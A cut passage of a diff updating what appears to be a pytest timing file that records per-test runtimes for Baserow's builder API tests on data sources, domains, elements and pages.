+ "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_get_data_sources": 0.12588866605074145, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_get_record_names": 0.24170929202227853, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_bad_before_id": 0.10807841600035317, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_before": 0.12157591700088233, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_before_not_in_same_page": 0.12400979202357121, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_empty_payload": 0.12212033398100175, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_move_data_source_null_before_id": 0.121215499995742, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_private_dispatch_data_source_view_returns_all_fields": 0.2369269159680698, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source": 0.14459941600216553, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_bad_request": 0.11344929100596346, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_change_type": 0.2190822090196889, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_compatible_integration_is_persisted": 0.12493462403654121, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_does_not_exist": 0.09363270699395798, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_page": 0.1209300409827847, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_with_filters": 0.2042450009903405, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_with_service_type_for_different_dispatch_type": 0.11424908397020772, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_with_with_name_conflict": 0.12799816802726127, + "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_update_data_source_with_with_name_conflict_is_disallowed_on_same_pages": 0.12184687401168048, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_get_and_list_rows_with_elements": 0.5036849580064882, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_get_row_no_elements": 0.26000195802771486, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_get_row_with_elements[1-0]": 0.34217108399025165, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_get_row_with_elements[2-1]": 0.3371384579804726, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_get_row_with_elements[3-2]": 0.32791600000928156, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_list_rows_no_elements": 0.23424995804089122, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_list_rows_with_elements": 0.3397340420051478, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_list_rows_with_elements_and_role[foo_role-bar_role-False]": 0.40097641697502695, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_list_rows_with_elements_and_role[foo_role-foo_role-True]": 0.40991104202112183, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_all_returns_elements": 0.3305026250309311, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[-allow_all_except-roles2-True]": 0.39665508197504096, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[-disallow_all_except-roles5-False]": 0.3873085829836782, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[foo_role-allow_all_except-roles0-True]": 0.4096181240165606, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[foo_role-allow_all_except-roles1-True]": 0.400482666969765, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[foo_role-allow_all_except-roles3-False]": 0.38143762497929856, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[foo_role-disallow_all_except-roles4-True]": 0.3919921670167241, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[foo_role-disallow_all_except-roles6-False]": 0.37673412496224046, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_except[foo_role-disallow_all_except-roles7-True]": 0.41713924999930896, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_returns_elements[roles0]": 0.40884508402086794, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_allow_all_returns_elements[roles1]": 0.40044524904806167, + "tests/baserow/contrib/builder/api/data_sources/test_public_data_source_views.py::test_dispatch_data_sources_page_visibility_logged_in_returns_no_elements_for_anon": 0.30869033400085755, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_ask_public_builder_domain_exists": 0.2707052920013666, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_ask_public_builder_domain_exists_with_public_backend_and_web_frontend_domains": 0.020292250002967194, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_builder_missing_domain_name": 0.1729745409975294, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_data_source_context_fields_are_excluded": 0.24574520799797028, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_data_source_context_fields_are_included": 0.3036188749829307, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_data_source_of_public_builder": 0.20465891601634212, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_data_source_of_public_builder_permission_denied": 0.10355324999545701, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_elements_of_public_builder": 0.39532624898129143, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_elements_of_public_builder_permission_denied": 0.1675338759960141, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_elements_of_public_builder_with_deactivated": 0.38904891701531596, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_non_public_builder": 0.16558291597175412, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_public_builder_by_domain_name": 0.3036990409891587, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_public_builder_by_id": 0.2115061669901479, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_get_public_builder_by_id_other_user": 0.176999417017214, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_all[foo_role-allow_all-page_roles0-foo_role-True]": 0.3728799570235424, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_all[foo_role-allow_all-page_roles1--False]": 0.3670223340159282, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-allow_all-page_roles0-foo_role-True]": 0.3729671250039246, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-allow_all-page_roles1-bar_role-False]": 0.3707722079998348, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles2-foo_role-True]": 0.37195862500811927, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles3-bar_role-False]": 0.3662006249942351, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles4-foo_role-False]": 0.35725250001996756, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles5-foo_role-True]": 0.38462370898923837, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles6-bar_role-False]": 0.3514015830005519, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_list_elements_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles7-foo_role-False]": 0.35389991698320955, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_source_view": 0.017879291001008824, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_source_view_returns_all_fields": 0.34204183297697455, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_source_view_returns_some_fields": 0.39218787499703467, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_source_with_refinements_referencing_trashed_field": 0.2857722929911688, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_no_elements": 0.3251115829916671, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-allow_all-page_roles0--True]": 0.4014983339875471, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-allow_all-page_roles5-foo_role-False]": 0.3969708339718636, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-allow_all_except-page_roles1--True]": 0.40260875000967644, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-allow_all_except-page_roles2--False]": 0.39365012501366436, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-allow_all_except-page_roles6-foo_role-False]": 0.39708395799971186, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-allow_all_except-page_roles7-foo_role-False]": 0.4102530420059338, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-disallow_all_except-page_roles3--False]": 0.4058155419770628, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-disallow_all_except-page_roles4--True]": 0.4153842500236351, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-disallow_all_except-page_roles8-foo_role-False]": 0.3457687089976389, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_all[foo_role-disallow_all_except-page_roles9-foo_role-False]": 0.39537379099056125, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-allow_all-page_roles0-foo_role-True]": 0.3899363750242628, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles1-foo_role-True]": 0.3980739170219749, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles3-bar_role-False]": 0.39916091598570347, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles5-foo_role-False]": 0.3983224590192549, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles2-foo_role-True]": 0.40663587499875575, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles4-bar_role-False]": 0.39424841696745716, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_get_row_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles6-foo_role-False]": 0.3896123330050614, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_no_elements": 0.3574322910280898, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_elements_and_role[foo_role-bar_role-False]": 0.3988878329982981, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_elements_and_role[foo_role-foo_role-True]": 0.44638525001937523, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-allow_all-page_roles0--True]": 0.3788466259720735, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-allow_all-page_roles5-foo_role-False]": 0.4049388339917641, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-allow_all_except-page_roles1--True]": 0.40477837398066185, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-allow_all_except-page_roles2--False]": 0.4003831660083961, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-allow_all_except-page_roles6-foo_role-False]": 0.3779174569644965, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-allow_all_except-page_roles7-foo_role-False]": 0.4055652080278378, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-disallow_all_except-page_roles3--False]": 0.37947266598348506, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-disallow_all_except-page_roles4--True]": 0.42121579201193526, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-disallow_all_except-page_roles8-foo_role-False]": 0.40124083298724145, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_all[foo_role-disallow_all_except-page_roles9-foo_role-False]": 0.4006425410043448, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-allow_all-page_roles0-foo_role-True]": 0.4074426669976674, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles1-foo_role-True]": 0.4087095830182079, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles3-bar_role-False]": 0.38929604095756076, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-allow_all_except-page_roles5-foo_role-False]": 0.3943179579800926, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles2-foo_role-True]": 0.410069458943326, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles4-bar_role-False]": 0.3982914579974022, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_list_rows_with_page_visibility_logged_in[foo_role-disallow_all_except-page_roles6-foo_role-False]": 0.40198099898407236, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view": 0.016548126004636288, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[DataSourceDoesNotExist-ERROR_DATA_SOURCE_DOES_NOT_EXIST-The requested data_source does not exist.]": 0.016862124990439042, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[DoesNotExist-ERROR_DATA_SOURCE_DOES_NOT_EXIST-The requested data does not exist.]": 0.016988916031550616, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[InvalidContextContentDispatchException-ERROR_SERVICE_INVALID_DISPATCH_CONTEXT_CONTENT-Exception content]": 0.017529542004922405, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[InvalidContextDispatchException-ERROR_SERVICE_INVALID_DISPATCH_CONTEXT-Exception content]": 0.01823629197315313, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[PermissionException-PERMISSION_DENIED-You don't have the required permission to execute this operation.]": 0.017912791023263708, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[ServiceImproperlyConfiguredDispatchException-ERROR_SERVICE_IMPROPERLY_CONFIGURED-Exception content]": 0.018104499962646514, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_public_dispatch_data_sources_view_returns_error[UnexpectedDispatchException-ERROR_SERVICE_UNEXPECTED_DISPATCH_ERROR-Exception content]": 0.018931792030343786, + "tests/baserow/contrib/builder/api/domains/test_domain_public_views.py::test_publish_builder": 0.40555775101529434, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain": 0.10207058300147764, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_application_does_not_exist": 0.09398516701185144, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_domain_already_exists": 0.1611100010049995, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_invalid_domain_name": 0.09272620899719186, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_domain_user_not_in_workspace": 0.10415287400246598, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_create_invalid_sub_domain": 0.10202762499102391, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_delete_domain": 0.17321795702446252, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_delete_domain_domain_not_exist": 0.08821079297922552, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_delete_domain_user_not_in_workspace": 0.16621012397808954, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_get_domains": 0.24134587502339855, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_get_domains_builder_doesnt_exist": 0.09046758300974034, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains": 0.24259833301766776, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains_application_does_not_exist": 0.23530604198458605, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains_domain_not_in_builder": 0.24656883397256024, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_order_domains_user_not_in_workspace": 0.23940183396916837, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain": 0.17030683398479596, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain_domain_does_not_exist": 0.08682874997612089, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain_name_uniqueness": 0.10794091699062847, + "tests/baserow/contrib/builder/api/domains/test_domain_views.py::test_update_domain_with_same_name": 0.10434558297856711, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_can_create_a_column_element": 0.10633537598187104, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_can_get_a_column_element": 0.1067927919793874, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_column_amount_errors": 0.09851445801905356, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_column_gap_errors": 0.09789991701836698, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_invalid_child_in_container_on_create": 0.10718912599259056, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_column_element_invalid_child_in_container_on_move": 0.17884166797739454, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_elements_moved_when_column_is_removed": 0.12960999901406467, + "tests/baserow/contrib/builder/api/elements/test_column_element.py::test_moving_an_element_to_new_column_appends_element": 0.11659925102139823, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_can_move_element_inside_container": 0.3314962910080794, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_child_type_not_allowed_validation": 0.18712466699071229, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_choice_options_created": 0.11546237501897849, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_choice_options_deleted": 0.18524591703317128, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_choice_options_updated": 0.1839094590395689, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_collection_element_type_with_invalid_data_source_id": 0.18709004198899493, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_collection_element_with_blank_property_option_schema_property": 0.10670025003491901, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_collection_element_with_non_unique_schema_properties": 0.11714595797820948, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_collection_element_with_property_option": 0.1452319589734543, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element": 0.12717479199636728, "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_bad_request": 0.1482001249996756, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_bad_request_for_formula": 0.15044174899958307, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_page_does_not_exist": 0.14736216700111981, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_permission_denied": 0.15276270800040948, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_delete_element": 0.2853319990008458, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_delete_element_element_not_exist": 0.14586070799941808, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_delete_element_permission_denied": 0.28417349900064437, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_bad_request_for_formula": 0.09614229100407101, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_deactivated_type": 0.10039370902813971, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_page_does_not_exist": 0.0887931680190377, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_parent_does_not_exist": 0.10498470900347456, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_create_element_permission_denied": 0.09719470900017768, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_delete_element": 0.17511837498750538, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_delete_element_element_not_exist": 0.10136591497575864, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_delete_element_permission_denied": 0.1756010839890223, "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_dropdown_options_created": 0.10233096894808114, "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_dropdown_options_deleted": 0.18046802992466837, "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_dropdown_options_updated": 0.18436807091347873, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_duplicate_element": 0.16071283299970673, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_duplicate_element_does_not_exist": 0.14661070800048037, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles0-allow_all]": 0.2868279579988666, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles1-allow_all]": 0.2898319590003666, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles2-allow_all_except]": 0.28861129300003086, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles3-disallow_all_except]": 0.29469633200005774, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_get_elements": 0.5597250840000925, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_link_element_path_parameter_wrong_type": 0.28797995900094975, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_bad_before_id": 0.28434437599935336, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_before": 0.557014125999558, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_before_not_in_same_page": 0.5578663759988558, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_empty_payload": 0.5535976250002932, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_null_before_id": 0.5580204180005239, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element": 0.2956079169998702, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_duplicate_element": 0.12135908301570453, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_duplicate_element_does_not_exist": 0.09396804301650263, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles0-allow_all]": 0.17571104198577814, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles1-allow_all]": 0.17582683198270388, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles2-allow_all_except]": 0.17721004100167193, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_elements_list_endpoint_returns_expected_roles[roles3-disallow_all_except]": 0.17661287396913394, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_get_elements": 0.3188866670243442, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_link_element_path_parameter_wrong_type": 0.18601929099531844, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_bad_before_id": 0.1680348350200802, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_before": 0.3288432510162238, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_before_not_in_same_page": 0.32480283398763277, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_empty_payload": 0.3270844990038313, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_move_element_null_before_id": 0.32581720800953917, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element": 0.18534570801421069, "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_bad_request": 0.283951624999645, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_bad_style_property": 0.3029389590010396, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_does_not_exist": 0.1470717499987586, - "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_styles": 0.2914971249992959, - "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_cant_set_an_image_that_does_not_exist": 0.1493761239999003, - "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_create_cant_set_image_of_incorrect_type": 0.1489244169997619, - "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_create_image_element": 0.15540308299932803, - "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_get_image_element": 0.16282266699909087, - "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_image_file_can_be_deleted": 0.1595722089996343, - "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_image_file_is_not_deleted_when_not_explicitly_set": 0.16339683400110516, - "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_can_create_a_table_element": 0.15659104299902538, - "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_can_get_a_table_element": 0.43457045899958757, - "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_can_update_a_table_element_fields": 0.43395945800148183, - "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_cant_update_a_table_element_fields_with_wrong_field_property": 0.42449070699967706, - "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_cant_update_a_table_element_fields_with_wrong_field_type": 0.41994629300006636, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page": 0.15451937600028032, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_application_does_not_exist": 0.1481248330010203, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_page_name": 0.15392929000063305, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_page_path": 0.15383449999899312, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_page_path_advanced": 0.15177258400035498, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_path_params_in_path": 0.15447608399972523, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_incorrect_data_structure": 0.14711891700062552, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path": 0.14567737600100372, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path_param": 